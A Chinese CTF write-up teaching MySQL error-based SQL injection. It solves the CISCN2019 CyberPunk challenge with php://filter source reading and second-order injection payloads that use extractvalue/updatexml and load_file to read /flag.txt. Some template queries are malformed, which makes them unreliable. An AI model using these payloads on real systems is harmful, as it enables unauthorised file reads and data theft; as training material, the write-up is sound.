报错注入——[CISCN2019 华北赛区 Day1 Web5]CyberPunk
报错注入
报错注入有很多种,其中最常用的三种分别是floor()、extractvalue()、updatexml(),这里附上一个参考链接https://www.jianshu.com/p/bc35f8dd4f7c
-
floor()报错注入方法:select count(*) from infomation_schema.tables group by concat((select user()),floor(rand(0)*2);
打开MySQL命令框输入命令查看报错信息。 -
extractvalue()报错注入方法:select extractvalue(1,concat(0x7e,(select user()),0x7e));
extractvalue()接收两个参数,第一个XML文档,第二个xpath语句。xpath语句格式错误返回数据。MySQL命令行中测试查看。 -
updatexml()报错注入方法:select updatexml(1,concat(0x7e,(select user()),0x7e,1);
查询出所有库以及security中所有表的信息。
通常会搭配MySQL的LOAD_FILE(file_name)函数读取一个文件并将其内容作为字符串返回,如读取flag文件等。下面通过一道题目进行注入实现:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
题目直接给了提示<!--?file=?-->,说明可能存在文件包含漏洞,于是用filter伪协议读取源码?file=php://filter/read=convert.base64-encode/resource=xxx.php
然后就是代码审计了,发现在confirm.php和change.php页面中存在注入漏洞。提交订单时对姓名和电话都进行了过滤,但是没有过滤地址,导致在预编译处理之后,在修改订单处存在二次注入。在'old_address'='".$row['address']."'处,用了一开始提交的地址,从而造成了恶意代码的拼接。
confirm.php 处关键代码:
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
change.php 处关键代码:
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
所以在提交订单的时候的地址处构造一个用来注入的语句,然后再修改一下订单,完成注入。由于flag太长,需要通过改变substr的起始值,才能获得全部的flag。
extractvalue()
1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e));#
1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e));#
updatexml()
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#